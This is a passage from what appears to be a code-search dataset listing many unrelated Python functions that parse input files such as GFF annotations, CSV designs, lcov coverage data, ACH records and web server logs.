> sys.stderr, 'No suitable sources found!'\n sys.exit(-1)\n\n ### only show available sources - if neccessary\n if options.show_sources:\n print 'Parsed file %s\\n' % options.anno\n print 'Following sources are available:\\n'\n for source in taken_sources:\n print source \n print '\\nUse option -s to specify a comma-separated list of sources (-s source1,source2,source3), otherwise all sources are taken'\n sys.exit(0)\n\n if options.sources != '':\n user_sources = set(options.sources.split(','))\n taken_sources = taken_sources.intersection(user_sources)\n if len(taken_sources) == 0:\n print >> sys.stderr, 'The specified sources do not match any of the available sources - Please use option -S to get a list of available sources'\n sys.exit(-1)\n\n if options.verbose:\n print \"take sources %s\" % str(list(taken_sources))\n\n ### build up gff-parsing filter\n gff_sources = []\n for source in taken_sources:\n gff_sources.extend(zip([source] * len(types), types))\n\n ### parse gff-file\n for idx in id_dict.keys():\n print 'parsing chromosome %s' % idx\n if len(gff_sources) > 0:\n trans_dict = iterator.get_all_features(options.anno, {'gff_source_type':gff_sources, 'gff_id':idx})\n else:\n trans_dict = iterator.get_all_features(options.anno, {'gff_id':idx})\n ### since we parse only one chromosome, this loop is evaluated only once\n for chrm in trans_dict.keys():\n ### verify/sanitize the created dictionairy\n fix_structure(trans_dict[chrm])\n intron_lists[chrm] = dict()\n for gene in trans_dict[chrm].features:\n for trans in gene.sub_features:\n if trans.type == 'exon':\n print \"WARNING: Exon on transcript level:\"\n print trans\n print 'will continue\\n'\n continue\n elif len(trans.sub_features) > 1: ### at least two exons for one intron ...\n strand = trans.sub_features[0].strand\n contig_list = [(trans.sub_features[i].location.nofuzzy_start, trans.sub_features[i].location.nofuzzy_end) for i in range(len(trans.sub_features))]\n contig_list.sort(lambda u, v:u[0]-v[0])\n for exon in range(len(contig_list) - 1):\n ### update intron lists\n if contig_list[exon][1] - contig_list[exon + 1][0] == 0:\n continue\n try:\n assert(contig_list[exon][1] < contig_list[exon + 1][0])\n except AssertionError:\n print >> sys.stderr, 'exon_1 %i, exon_2 %i' % (contig_list[exon][1], contig_list[exon + 1][0]) \n print >> sys.stderr, contig_list[exon]\n print >> sys.stderr, contig_list[exon+1]\n print >> sys.stderr, exon\n sys.exit(-1)\n ### for now strand information is only dummy\n intron_lists[chrm][(0, contig_list[exon][1], contig_list[exon + 1][0])] = strand\n \n ### update exon map\n for exon in range(len(contig_list)):\n if not exon_map.has_key(chrm):\n exon_map[chrm] = dict()\n\n if not exon_map[chrm].has_key(trans.id):\n exon_map[chrm][trans.id] = dict()\n ### we assume, that an exon cannot occurr twice in the same transcript!\n ### the value in the dict is a binary encoding, if the left/right end is intronic 10 = 2 means, 5' end is intronic\n if len(contig_list) == 1:\n exon_map[chrm][trans.id][contig_list[exon]] = 0 ### 00 -> should never occurr\n elif exon == 0:\n exon_map[chrm][trans.id][contig_list[exon]] = 2 ### 10\n elif exon == len(contig_list) - 1:\n exon_map[chrm][trans.id][contig_list[exon]] = 1 ### 01\n else:\n exon_map[chrm][trans.id][contig_list[exon]] = 3 ### 11 \n\n outfile = open(options.outfile, 'w')\n cPickle.dump(intron_lists, outfile)\n outfile.close()\n \n outfile = open(options.outfile + '.' + 'cov', 'w')\n cPickle.dump(exon_map, outfile)\n outfile.close()","def parse_csvfile(self, filepath=None):\n designfilename = self.Filename\n if filepath is None:\n filepath = self.Filepath\n else:\n self.Filepath = filepath\n self.Filename = os.path.dirname(filepath)\n if not filepath:\n print(\"No filepath provided, aborting..:!\")\n return False\n dataset, filefields = self._read_csvfile_from_file(self.Filepath)\n self.FileFields = filefields\n self.Dataset = dataset\n\n if self.Verboselevel > 6:\n print(\"Dataset from file: \" + designfilename)\n print(self.Dataset)\n # Find the key specifying the module... (first 'module', then if no 'module' field, search for 'color').\n self.make_fieldsmap()\n\n # Arrange the data for easier access:\n # Produce whole design set:\n self.Designset = set([row[self.Fields['sequence']] for row in self.Dataset])\n # Prepare a dict with an empty set for every moduleclass:\n self.Modulesets = dict([(row[self.Fields['moduleclass']], set()) for row in self.Dataset])\n self.OligoModules = dict()\n self.OligoInfo = dict() # Map sequence back to info from file/row.\n for row in self.Dataset:\n self.Modulesets[row[self.Fields['moduleclass']]].add(row[self.Fields['sequence']])\n # It should also be easy to find the module of a particular sequence without looping further:\n if row[self.Fields['sequence']] in self.OligoModules:\n print(\"WARNING: sequence \" + row[self.Fields['sequence']] + \" is present multiple times.\")\n if self.OligoModules[row[self.Fields['sequence']]] != row[self.Fields['moduleclass']]:\n print(\"--> AND THE SEQUENCE IS PRESENT IN TWO DIFFERENT MODULES, \" + self.OligoModules[row[self.Fields['sequence']]] + \" and \" + row[self.Fields['moduleclass']])\n self.OligoModules[row[self.Fields['sequence']]] = row[self.Fields['moduleclass']]\n self.OligoInfo[row[self.Fields['sequence']]] = row\n if self.Verboselevel > 5:\n print(\"Design and module-sets for designfile: \" + designfilename)\n print(self.Designset)\n print(self.Modulesets)\n\n return self","def parseFile(self, filename):\n self.__filename = filename\n\n if os.path.isfile(filename) == False:\n self.LogError(\"Unable to open input file \" + str(filename))\n raise IOError\n\n self.__file = open(filename, 'r')\n\n while True:\n string = self.__file.readline()\n if string == \"\":\n break\n\n if string.upper().find(\"[SYSTEM]\") != -1:\n #print string.upper()\n self.__parseSystem()\n\n if string.upper().find(\"[GRASS]\") != -1:\n #print string.upper()\n self.__parseGrass()\n\n if string.upper().find(\"[COMPLEXDATA]\") != -1:\n #print string.upper()\n self.complexDataList.append(ComplexData(self.__file))\n\n if string.upper().find(\"[COMPLEXOUTPUT]\") != -1:\n #print string.upper()\n self.complexOutputList.append(ComplexOutput(self.__file))\n\n if string.upper().find(\"[LITERALDATA]\") != -1:\n #print string.upper()\n LD = LiteralData(self.__file)\n if LD.identifier == 'multi_output':\n self.LogWarning(\"multi_output: \" + LD.value.upper())\n if LD.value.upper() == 'TRUE':\n self.multiOutput = True\n else:\n self.literalDataList.append(LD)","def __init__(self, lines, verbosity = 0, enabled_optimisations = None):\n \n self.verbosity = verbosity\n self.logger = logging.getLogger('Optimiser')\n if enabled_optimisations == None:\n self.enabled_optimisations = 'abcdefghijkl'\n else:\n self.enabled_optimisations = enabled_optimisations\n\n self.stats = {'cp':0, 'cf':0, 'dc':0}\n\n self.logger.info('parsing assembly')\n # Parse assembly and store in flat.\n self.flat = []\n for line in lines:\n if not line.strip():\n # We skip empty lines. We could also tell yacc to put them in a Raw.\n # TODO: skippet yacc dit niet sowieso?\n continue\n self.flat.append(parser.parse(line))\n self.flat = parse_instr.parse(self.flat)","def parse(self):\n\n coverage_data = {\n 'packages': {},\n 'summary': {'lines-total': 0, 'lines-covered': 0,\n 'branches-total': 0, 'branches-covered': 0},\n 'timestamp': str(int(time.time()))\n }\n package = None\n current_file = None\n file_lines_total = 0\n file_lines_covered = 0\n file_lines = {}\n file_methods = {}\n file_branches_total = 0\n file_branches_covered = 0\n\n for line in self.lcov_data.split('\\n'):\n if line.strip() == 'end_of_record':\n if current_file is not None:\n package_dict = coverage_data['packages'][package]\n package_dict['lines-total'] += file_lines_total\n package_dict['lines-covered'] += file_lines_covered\n package_dict['branches-total'] += file_branches_total\n package_dict['branches-covered'] += file_branches_covered\n file_dict = package_dict['classes'][current_file]\n file_dict['lines-total'] = file_lines_total\n file_dict['lines-covered'] = file_lines_covered\n file_dict['lines'] = dict(file_lines)\n file_dict['methods'] = dict(file_methods)\n file_dict['branches-total'] = file_branches_total\n file_dict['branches-covered'] = file_branches_covered\n coverage_data['summary']['lines-total'] += file_lines_total\n coverage_data['summary']['lines-covered'] += file_lines_covered\n coverage_data['summary']['branches-total'] += file_branches_total\n coverage_data['summary']['branches-covered'] += file_branches_covered\n\n line_parts = line.split(':')\n input_type = line_parts[0]\n\n if input_type == 'SF':\n # Get file name\n file_name = line_parts[-1].strip()\n relative_file_name = os.path.relpath(file_name, self.base_dir)\n package = '.'.join(relative_file_name.split(os.path.sep)[0:-1])\n class_name = file_name.split(os.path.sep)[-1]\n if package not in coverage_data['packages']:\n coverage_data['packages'][package] = {\n 'classes': {}, 'lines-total': 0, 'lines-covered': 0,\n 'branches-total': 0, 'branches-covered': 0\n }\n coverage_data['packages'][package]['classes'][\n relative_file_name] = {\n 'name': class_name, 'lines': {}, 'lines-total': 0,\n 'lines-covered': 0, 'branches-total': 0,\n 'branches-covered': 0\n }\n package = package\n current_file = relative_file_name\n file_lines_total = 0\n file_lines_covered = 0\n file_lines.clear()\n file_methods.clear()\n file_branches_total = 0\n file_branches_covered = 0\n elif input_type == 'DA':\n # DA:2,0\n (line_number, line_hits) = line_parts[-1].strip().split(',')\n line_number = int(line_number)\n if line_number not in file_lines:\n file_lines[line_number] = {\n 'branch': 'false', 'branches-total': 0,\n 'branches-covered': 0\n }\n file_lines[line_number]['hits'] = line_hits\n # Increment lines total/covered for class and package\n if int(line_hits) > 0:\n file_lines_covered += 1\n file_lines_total += 1\n elif input_type == 'BRDA':\n # BRDA:1,1,2,0\n (line_number, block_number, branch_number, branch_hits) = line_parts[-1].strip().split(',')\n line_number = int(line_number)\n if line_number not in file_lines:\n file_lines[line_number] = {\n 'branch': 'true', 'branches-total': 0,\n 'branches-covered': 0, 'hits': 0\n }\n file_lines[line_number]['branch'] = 'true'\n file_lines[line_number]['branches-total'] += 1\n file_branches_total += 1\n if branch_hits != '-' and int(branch_hits) > 0:\n file_lines[line_number]['branches-covered'] += 1\n file_branches_covered += 1\n elif input_type == 'BRF':\n file_branches_total = int(line_parts[1])\n elif input_type == 'BRH':\n file_branches_covered = int(line_parts[1])\n elif input_type == 'FN':\n # FN:5,(anonymous_1)\n function_name = line_parts[-1].strip().split(',')[1]\n function_name = self.demangle_function_name(function_name)\n file_methods[function_name] = '0'\n elif input_type == 'FNDA':\n # FNDA:0,(anonymous_1)\n (function_hits, function_name) = line_parts[-1].strip().split(',')\n function_name = self.demangle_function_name(function_name)\n file_methods[function_name] = function_hits\n\n # Exclude packages\n excluded = [x for x in coverage_data['packages'] for e in self.excludes\n if re.match(e, x)]\n for package in excluded:\n del coverage_data['packages'][package]\n\n # Compute line coverage rates\n for package_data in list(coverage_data['packages'].values()):\n package_data['line-rate'] = self._percent(\n package_data['lines-total'],\n package_data['lines-covered'])\n package_data['branch-rate'] = self._percent(\n package_data['branches-total'],\n package_data['branches-covered'])\n\n return coverage_data","def _parse_ach_file(self, contents):\n file_length = len(contents)\n\n for index in range(0, file_length, self.LINE_LENGTH):\n line = contents[index:index + self.LINE_LENGTH]\n\n if line.startswith('1'):\n self._read_header(line)\n elif line.startswith('5'):\n self._read_batch_header(line)\n elif line.startswith('6'):\n self._read_entry_detail(line)\n elif line.startswith('7'):\n self._read_addenda_record(line)\n elif line.startswith('8'):\n self._read_batch_control_record(line)\n elif line.startswith('9'):\n if line == '9' * 94:\n continue\n self._read_file_control_record(line)","def handle_csv(self):\n try:\n reader = csv.reader(open(self.options.datafile, 'r'))\n except IOError:\n errormsg(_('Cannot read \"{}\"'.format(self.options.datafile)))\n raise Exception(_('Cannot read \"{}\"'.format(self.options.datafile)))\n if self.options.var_type == 'name':\n try:\n self.header = reader.next()\n except StopIteration:\n errormsg(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n raise Exception(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n self.data = []\n for row in reader:\n self.data.append(row)","def _makeParser_extract_CDS() :\n parser = argparse.ArgumentParser(\n description = SCRIPT_DESCRIPTION_EXTRACT_CDS)\n # input files\n parser.add_argument(\"genbank_records\", type = str, nargs = \"+\",\n help = \"Filename(s) for GenBank record(s)\")\n # --hash\n parser.add_argument(\"--hash\", metavar = \"HASH_ALGORITHM\",\n choices = [\"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\",\n \"sha512\"],\n default = \"md5\",\n help = \"Hash algorithm to use for unique sequence signature \"\n \"(default md5)\")\n # --unique \n parser.add_argument(\"-u\", \"--unique\", metavar = \"UNIQUE_FASTA\",\n type = str, default = None,\n help = \"Filename for unique fasta amino acid sequences\")\n # --outfmt\n parser.add_argument(\"-o\", \"--outfmt\", metavar = \"FORMAT\",\n type = str, default = \"dscrp,gi,loc,hash,prot\",\n help = \"Comma-separated list of output column \"\n \"identifiers for summaries. Allowed identifiers are: \"\n \"id, name, dscrp, acc, date, gi, orgn, src (record \"\n \"attributes) and loc, prot, nuc, prod, gene, hash \"\n \"(CDS attributes). Default is dscrp,gi,loc,hash,prot.\")\n # --count\n parser.add_argument(\"-c\", \"--count\", action = \"store_true\",\n help = \"Count the number of CDS per record instead of \"\n \" producing CDS summaries. Cannot be used at the same \"\n \"time as --unique.\")\n # --verbose\n parser.add_argument(\"-v\", \"--verbose\", action = \"store_true\",\n help = \"Send verbose messages to stderr during execution\")\n return parser","def main():\r\n run_processes('tests.csv', 'labs.csv')","def analyze(file,process):\n readin(file)\n # inspecting(file, functions)\n process(file, functions)","def get_data(self, csv_file):\n pass","def __init__(self, filename):\n fd = open(filename, \"r\")\n lines = fd.readlines()\n fd.close()\n self.__sections = []\n current_section = AssemblerSection(\"text\")\n ii = 0\n sectionre = re.compile(r'^\\s+\\.section\\s+\\\"?\\.([a-zA-Z0-9_]+)[\\.\\s]')\n for ii in lines:\n match = sectionre.match(ii)\n if match:\n self.add_sections(current_section)\n current_section = AssemblerSection(match.group(1), ii)\n else:\n current_section.add_line(ii)\n if not current_section.empty():\n self.add_sections(current_section)\n if is_verbose():\n section_names = map(lambda x: x.get_name(), self.__sections)\n print(\"Read %i sections in '%s': %s\" % (len(self.__sections), filename, \", \".join(section_names)))","def run(self):\n # Send number of lines to the GUI\n self.total_count_signal.emit(self.number_of_lines)\n logging.info(\"Total number of lines in file %d\" % self.number_of_lines)\n\n self.result_string = \"\"\n self.token_array = []\n if self.file_type == settings.APACHE_COMMON:\n regex = re.compile(settings.APACHE_COMMON_LOG_RE)\n # Arg 2 should be list\n self.result_string = settings.APACHE_COMMON_HEADING\n for i, line in enumerate(self.file):\n item = regex.match(line)\n if not item:\n logging.error(\n \"Couldn't tokenize the following line\\n\" + line)\n continue\n token_object = TokenCommon(item.groups())\n self.token_array.append(token_object)\n self.send_result_signal(i, item.groups())\n\n elif self.file_type == settings.APACHE_COMBINED:\n regex = re.compile(settings.APACHE_COMBINED_LOG_RE)\n self.result_string = settings.APACHE_COMBINED_HEADING\n for i, line in enumerate(self.file):\n item = regex.match(line)\n if not item:\n logging.error(\n \"Couldn't tokenize the following line\\n\" + line)\n continue\n token_object = TokenCombined(item.groups())\n self.token_array.append(token_object)\n self.send_result_signal(i, item.groups())\n\n elif self.file_type == settings.SQUID:\n regex = re.compile(settings.SQUID_LOG_RE)\n self.result_string = settings.SQUID_HEADING\n for i, line in enumerate(self.file):\n item = regex.match(line)\n if not item:\n logging.error(\n \"Couldn't tokenize the following line\\n\" + line)\n continue\n token_object = TokenSquid(item.groups())\n self.token_array.append(token_object)\n self.send_result_signal(i, item.groups())\n\n self.update_progress_signal.emit(\n self.number_of_lines - 1, self.result_string)\n self.session.bulk_save_objects(self.token_array)\n self.session.commit()\n logging.info(\"All tokens inserted into database\")\n settings.Session.remove()","def parse(self):\n logger=self.logger\n tokenizer=Tokenizer()\n self.scope=produtil.testing.parsetree.Scope()\n self.override(self.scope)\n self.parser=Parser(self.run_mode,logger,self.verbose)\n self.parser.requested_platform_name=self.platform_name\n morevars=self.make_vars()\n with open(self.inloc,'rt') as fileobj:\n self.parse_result=self.parser.parse(\n TokenizeFile(tokenizer,fileobj,self.inloc,1),self.scope,\n unique_id=self.unique_id,morevars=morevars)","def __init__(self, filename):\r\n self._results = SpecParser(filename).parse()","def parse_file(self):\n with open(self.file_name, 'r', errors='ignore') as log_file:\n for line in log_file:\n self.process_line(line)","def main():\n chatfile_name = sys.argv[1]\n analyze(chatfile_name)","def analyze_handler():\n\n file_name = csv_file('exercise.csv')\n with open(file_name) as csvfile:\n file_reader = csv.reader(csvfile)\n file_line_cnt = sum(1 for row in file_reader)\n\n wrapper = wrap_analyser(analyze, file_name)\n timer = timeit.timeit(wrapper, number=1)\n print(file_name)\n print(f'Line count:\\t{file_line_cnt}\\tAnalyser ran in:\\t{timer}')","def loadCSV(input_file):","def main():\n\n # Check command line arguments\n arguments = sys.argv[1:]\n if len(arguments) != 1:\n print(\"Error! One command line argument is required.\")\n sys.exit()\n\n else:\n print(\"\\nNow opening file...\")\n # Print the path provided and try to open the file for reading\n path = os.getcwd()+ \"/\" + arguments[0]\n print(path) #print path\n names = Names()\n devices = Devices(names)\n network = Network(names, devices)\n monitors = Monitors(names, devices, network)\n scanner = Scanner(path, names)\n parser = Parser(names, devices, network, monitors, scanner)\n Error.reset()\n parser.parse_network()"],"string":"[\n \"def main():\\n parse_file(sys.argv[1])\",\n \"def main():\\n parser = ArgumentParser(usage='%(prog)s [options] ecommonsMetadata.csv')\\n parser.add_argument(\\\"-d\\\", \\\"--date\\\", dest=\\\"date\\\",\\n help=\\\"Date on or after that an ETD was published for \\\\\\n creating DOIs. Put in format YYYY-MM\\\")\\n parser.add_argument(\\\"datafile\\\", help=\\\"eCommons metadata worked from.\\\")\\n\\n args = parser.parse_args()\\n\\n if not len(sys.argv) > 0:\\n parser.print_help()\\n parser.exit()\\n\\n workingdir = csvparse(args.datafile, args.date)\\n doiparse(workingdir)\\n print('ANVL files available in: ' + workingdir)\",\n \"def main():\\n processSetOfCerFiles(sys.argv[1:])\",\n \"def _parse(self, infile):\\n raise NotImplementedError()\",\n \"def __init__(self, *, csv_file_path: str = ''):\\n self.__csv_file_path = csv_file_path\\n self._parse_csv()\",\n \"def parse_args(self):\\n assert os.path.isfile(self.params.csv_input_file), \\\\\\n \\\"Input CSV file %s not found\\\" % self.params.csv_input_file\",\n \"def buildFromCSV(self, filepath):\\r\\n\\t\\t# TODO: Implement\\r\\n\\t\\traise NotImplementedError('This function has not yet been implemented.')\\r\\n\\t\\t# with open(filepath, 'r') as scheduleFile:\\r\\n\\t\\t# \\t# Reusing Parser.parseCSVs(), but not in the intended way; ok because validation is not yet implemented\\r\\n\\t\\t# \\t# TODO: Split Parser.parseCSVs() into separate people/set file parsers \\r\\n\\t\\t# \\tn, people, setConstraints = Parser.parseCSVs(-1, scheduleFile, [])\\r\",\n \"def parse(self, infile):\\r\\n raise NotImplementedError()\",\n \"def process_csvs(conn: Connection, basedir: Path) -> None:\\n process_files(conn, basedir/\\\"files.csv\\\")\\n process_notes(conn, basedir/\\\"notes.csv\\\")\\n process_links(conn, basedir/\\\"links.csv\\\")\\n process_clusters(conn, basedir/\\\"clusters.csv\\\")\\n process_bibliography(conn, basedir/\\\"bibliography.csv\\\")\\n process_citations(conn, basedir/\\\"citations.csv\\\")\",\n \"def _read_csvs(self):\\n self.data = pd.read_csv(self.path+self.name, index_col=0)\",\n \"def __init__(self):\\r\\n self.parent_directory = \\\"..\\\\csv\\\\\\\\\\\"\\r\\n self.file_parse_error_msg = \\\"An error occurred while paring the file\\\"\",\n \"def main():\\n filename = \\\"data/exercise.csv\\\"\\n analyze(filename)\",\n \"def parse_cat_file(filename, src_num):\\n # Loads csv file\\n line = np.genfromtxt(open(filename, \\\"r\\\"), names=True, delimiter=',', dtype=None)\\n\\n # Arrays Function\\n # MCSNR\\n MCSNR = arrays(0, line)\\n MCSNR = MCSNR[src_num]\\n MCSNR = MCSNR.decode(\\\"utf-8\\\")\\n\\n # RA\\n RA = arrays(1, line)\\n RA = RA[src_num]\\n\\n # DE\\n DE = arrays(2, line)\\n DE = DE[src_num]\\n\\n # Radius\\n Rad = arrays(8, line)\\n Rad = Rad[src_num]\\n\\n # kT\\n kT = arrays(12, line)\\n kT = kT[src_num]\\n\\n # VShock\\n VShock = arrays(16, line)\\n VShock = VShock[src_num]\\n\\n # Age\\n Age = arrays(18, line)\\n Age = Age[src_num]\\n\\n # LX\\n LX = arrays(4, line)\\n LX = LX[src_num]\\n\\n # LIR\\n LIR = arrays(7, line)\\n LIR = LIR[src_num]\\n\\n return MCSNR, RA, DE, Rad, kT, VShock, Age, LX, LIR\",\n \"def process_file():\\n global distances_between_cities\\n global number_of_cities\\n global unvisited_cities\\n\\n text_file = open(sys.argv[1].strip('\\\\r'))\\n distances_between_cities = [[int(i) for i in line.strip(\\\"\\\\r\\\\n\\\").split()[1:]] for line in text_file.readlines()[1:]]\\n number_of_cities = len(distances_between_cities)\\n\\n # set the initial conditions of the problem (you have already visited madrid)\\n unvisited_cities = range(number_of_cities)\\n visit_city(0)\",\n \"def main():\\n\\t\\n\\tglobal debug\\n\\tct = 0\\n\\tfor opt in sys.argv[1:]:\\n\\t\\tif opt[0] != \\\"-\\\": break\\n\\t\\tct = ct + 1\\n\\t\\tif opt == \\\"-d\\\": debug = True\\n\\tif len(sys.argv) < 2+ct:\\n\\t\\tprint (\\\"Usage: %s filename\\\" % sys.argv[0])\\n\\t\\treturn\\n\\tparse(\\\"\\\".join(mklines(sys.argv[1+ct])))\\n\\treturn\",\n \"def parse_file():\\n\\tfile_lines = []\\n\\n\\t## For each line in the file, if it's not empty, store it\\n\\tfor line in fileinput.input():\\n\\t\\tif len(line) > 1:\\n\\t\\t\\tfile_lines.append(line.strip())\\n\\t\\n\\trun_algorithms(file_lines)\",\n \"def __init__(self, args):\\n self.verbose = args.verbose\\n self.force = args.force\\n self.extra = args.extra\\n self.master_csv = args.master\\n self.new_files = args.new_files\\n self.df_mas_lab_data = None # Master Lab data\\n self.df_new_lab_data = None # Aggregated new Lab data\\n self.columns = [\\n \\\"CLIA\\\",\\n \\\"FACILITY_TYPE\\\",\\n \\\"CERTIFICATE_TYPE\\\",\\n \\\"LAB_NAME\\\",\\n \\\"STREET\\\",\\n \\\"CITY\\\",\\n \\\"STATE\\\",\\n \\\"ZIP\\\",\\n \\\"PHONE\\\",\\n ]\",\n \"def parse(self, filename: str, input_format='csv', **kwargs):\\n if 'delimiter' not in kwargs:\\n kwargs['delimiter'] = self._extention_types[input_format]\\n if filename.endswith('.tar'):\\n with tarfile.open(filename) as tar:\\n for member in tar.getmembers():\\n f = tar.extractfile(member)\\n df = pd.read_csv(f, comment='#', **kwargs) # type: pd.DataFrame\\n if member.name == 'nodes.csv':\\n self.load_nodes(df)\\n elif member.name == 'edges.csv':\\n self.load_edges(df)\\n else:\\n raise Exception('Tar file contains unrecognized member {}'.format(member.name))\\n else:\\n df = pd.read_csv(filename, comment='#', **kwargs) # type: pd.DataFrame\\n self.load(df)\",\n \"def __init__(self,\\n fileName,\\n realFileName=None,\\n prequelFileName=None,\\n preErrorMessages=(), # Type to be checked\\n doNotReadFiles=False,\\n allowedFeatures=()):\\n #type: (Text, Optional[Text], Optional[Text], List[Any], bool, List[Text]) -> None\\n\\n assert fileName is not None\\n\\n self.fileName=fileName #type: Text\\n \\\"\\\"\\\" The filename as given when creating the source file\\\"\\\"\\\"\\n\\n self.prequelFileName=(\\n fileName if prequelFileName is None\\n else prequelFileName\\n )\\n \\\"\\\"\\\" \\n The named of the unprocessed file or the filename.\\n This is useful when a preprocessor is used. \\n \\\"\\\"\\\"\\n\\n self.realFileName=(\\n None if doNotReadFiles # filled later\\n else (\\n fileName if realFileName is None\\n else realFileName))\\n \\\"\\\"\\\" \\n The name of the actual file name that is parsed.\\n This is almost never used so don't use it unless\\n you know what you are doing. \\n \\\"\\\"\\\"\\n\\n # This should be after the definition of\\n # filenames\\n super(SourceFile, self).__init__(parents=[])\\n\\n\\n if len(preErrorMessages) >= 1:\\n for msg in preErrorMessages:\\n Issue(\\n origin=self,\\n level=Levels.Error,\\n message=msg\\n )\\n return\\n\\n self.sourceLines=[] #type: List[Text]\\n \\\"\\\"\\\"\\n The source lines of the 'logical' file.\\n It will be the same as realSourceLines \\n if not isBasedInHiddenFile. \\n Filled by doReadFile but if doReadFile raise \\n an exception, the sourceLines will still be of the\\n appropriate type (no lines)\\n The caller must call doReadFile explictely\\n if doNotReadFiles.\\n \\\"\\\"\\\"\\n\\n self.realSourceLines=[] #type: List[Text]\\n \\\"\\\"\\\"\\n The source lines of the 'real' file.\\n It will be the same as sourceLines \\n if not isBasedInHiddenFile. \\n Filled by doReadFile but if doReadFile raise \\n an exception, the sourceLines will still be of the\\n appropriate type (no lines)\\n The caller must call doReadFile explictely\\n if doNotReadFiles.\\n \\\"\\\"\\\"\\n\\n self.allowedFeatures=allowedFeatures #type: List[Text]\\n \\\"\\\"\\\"\\n A list of feature names that could be issued\\n in the parser.\\n \\\"\\\"\\\"\\n\\n\\n\\n\\n if not doNotReadFiles:\\n self.doReadFiles(\\n logicalFileName=self.fileName,\\n realFileName=self.realFileName)\",\n \"def main():\\n # openfile allows for CSV files with stored data of two columns\\n # data = openfile(\\\"filename\\\")\\n data = get_data()\\n abtest = AB_test(data)\\n abtest.stats()\\n abtest.print_stats()\",\n \"def run(self, file):\\n self.loadReport(file)\\n self.findCountryCode()\\n self.reformatAndSave()\",\n \"def main():\\n Tkinter.Tk().withdraw()\\n try:\\n #Ask user for the file and open the file in read mode\\n file=tkFileDialog.askopenfile()\\n\\n try:\\n #Read the file, split contents by lines, then split lines into words using \\\",\\\" as separator and\\n # use the words to create carEvaluation object\\n carevaluation_list=[CarEvaluation(*lines.split(\\\",\\\")) for lines in file.read().splitlines()]\\n process_records(carevaluation_list)\\n except Exception, e:\\n print \\\"Error: Parsing file. Terminating the program! \\\" + str(e)\\n sys.exit(e)\\n finally:\\n file.close()\\n except Exception, e:\\n print \\\"Error: Could not open the file to read. Terminating the program! \\\" + str(e)\\n sys.exit(e)\",\n \"def run_parser(self, path, app=None, renderer=None, failed=False):\\n self._stats = RenderStats()\\n\\n filters = {'app': app,\\n 'renderer': renderer,\\n 'failed': failed}\\n\\n # Read all files that are properly named\\n filenames = [os.path.join(path, rf) for rf in os.listdir(path) if re.match(r'renders_\\\\d{4}-\\\\d{2}-\\\\d{2}.csv', rf)]\\n\\n for fn in filenames:\\n for render in filter_rows(fn, filters):\\n # Update stats based on this render\\n self._stats.update(render)\",\n \"def process_file(file_name):\\n pass # delete this line and replace with your code here\",\n \"def main():\\n parser = argparse.ArgumentParser(description='investigate code health and random statistics')\\n sub_parsers = parser.add_subparsers(dest='command_name', title='Commands', help='', metavar='<command>')\\n\\n sub = sub_parsers.add_parser('line-count', help='list line counts')\\n sub.add_argument('files', nargs='+', help='files or folders to look in')\\n sub.add_argument('--each', type=int, default=1)\\n sub.add_argument('--show', action='store_true')\\n sub.add_argument('--include-empty', dest='discard_empty', action='store_false')\\n sub.set_defaults(func=handle_line_count)\\n\\n sub = sub_parsers.add_parser('include-list', help='list headers from files')\\n cc.add_argument(sub)\\n sub.add_argument('files', nargs='+')\\n sub.add_argument('--print', dest='print_files', action='store_true')\\n sub.add_argument('--print-stats', dest='print_stats', action='store_true')\\n sub.add_argument('--print-max', dest='print_max', action='store_true')\\n sub.add_argument('--no-list', dest='print_list', action='store_false')\\n sub.add_argument('--count', default=2, type=int, help=\\\"only print includes that are more or equal to <count>\\\")\\n sub.add_argument('--limit', nargs='+', help=\\\"limit search to theese files and folders\\\")\\n sub.set_defaults(func=handle_list)\\n\\n sub = sub_parsers.add_parser('include-gv', help='generate a graphviz of the includes')\\n cc.add_argument(sub)\\n sub.add_argument('files', nargs='+')\\n sub.add_argument('--limit', nargs='+', help=\\\"limit search to theese files and folders\\\")\\n sub.add_argument('--group', action='store_true', help=\\\"group output\\\")\\n sub.add_argument('--cluster', action='store_true', help=\\\"group output into clusters\\\")\\n sub.set_defaults(func=handle_gv)\\n\\n sub = sub_parsers.add_parser('list-indents', help='list the files with the maximum indents')\\n sub.add_argument('files', nargs='+')\\n sub.add_argument('--each', type=int, default=1, help='group counts')\\n sub.add_argument('--show', action='store_true', help='include files in list')\\n sub.add_argument('--hist', action='store_true', help='show simple histogram')\\n sub.add_argument('--include-empty', dest='discard_empty', action='store_false')\\n sub.set_defaults(func=handle_list_indents)\\n\\n sub = sub_parsers.add_parser('missing-pragma-once', help='find headers with missing include guards')\\n sub.add_argument('files', nargs='+')\\n sub.set_defaults(func=handle_missing_include_guards)\\n\\n sub = sub_parsers.add_parser('missing-in-cmake', help='find files that existis on disk but missing in cmake')\\n sub.add_argument('files', nargs='+')\\n cc.add_argument(sub)\\n sub.set_defaults(func=handle_missing_in_cmake)\\n\\n sub = sub_parsers.add_parser('list-no-project-folders', help='find projects that have not set the solution folder')\\n sub.add_argument('files', nargs='+')\\n cc.add_argument(sub)\\n sub.set_defaults(func=handle_list_no_project_folder)\\n\\n sub = sub_parsers.add_parser('check-files', help=\\\"find files that doesn't match the name style\\\")\\n sub.add_argument('files', nargs='+')\\n cc.add_argument(sub)\\n sub.set_defaults(func=handle_check_files)\\n\\n args = parser.parse_args()\\n if args.command_name is not None:\\n args.func(args)\\n else:\\n parser.print_help()\",\n \"def load_csv(self):\\n options = QFileDialog.Options()\\n options |= QFileDialog.DontUseNativeDialog\\n files, _ = QFileDialog.getOpenFileNames(\\n self,\\n \\\"Select one or more files\\\",\\n \\\"\\\",\\n \\\"csv files (*.csv);;All Files (*)\\\",\\n options=options,\\n )\\n self.show()\\n\\n if files:\\n self.files_now = files\\n else:\\n self.files_now = None\\n\\n if self.files_now:\\n self.lineEdit_file_name.setText(self.files_now[0])\\n self.update_gui_from_csv()\",\n \"def parse_source_file(self, filepath):\\n raise NotImplementedError('Not Implemented')\",\n \"def parse_design(self, detailed_design_file):\",\n \"def compile_file(self, filename):\\n if self.basepath is None:\\n self.basepath = os.path.split(filename)\\n\\n i = 1\\n txt = \\\"\\\"\\n with open(filename, \\\"r\\\") as reader:\\n for line in reader:\\n if line != \\\"\\\\n\\\":\\n txt += line\\n debug(logger, \\\"*** [%d] %s\\\" % (i, line))\\n if balanced(txt) == 0:\\n print(self.parseit(txt))\\n txt = \\\"\\\"\\n i = i + 1\\n\\n if len(txt):\\n print(\\\"Error: missing ()'s, %s\\\" % txt)\",\n 